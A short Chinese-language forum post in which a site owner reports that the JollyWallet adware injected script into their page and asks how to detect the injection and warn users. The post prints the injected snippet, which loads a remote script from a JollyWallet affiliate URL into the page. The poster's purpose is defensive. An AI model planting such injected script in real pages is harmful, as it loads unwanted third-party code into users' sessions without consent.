如果在页面加载时发生代码注入,我们希望提醒用户。我们遇到了 JollyWallet 注入代码并导致 SCRIPT 块保持打开状态的问题。当然,我们的代码在那个 SCRIPT 块中。
这是我们在原版中所拥有的
sTrailer = "</body></html>" //Used to close popup print view window
这是注入的内容:
sTrailer = "<script type="text/javascript">(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'https://www.xxxxxxx.net/xxx/xxx/<filename>.asp?account=###############') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = 'https://api.jollywallet.com/affiliate/client?dist=213&sub=bsg-rt-revenyou&name=BrowserSafeguard';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();</script></body></html>"
理想情况下,我们希望在用户登录我们的网站时提醒用户该 PUP 的存在。或者,我们希望停止对受影响页面的注入。
有谁知道可以在页面加载结束时运行的可以识别代码注入的测试?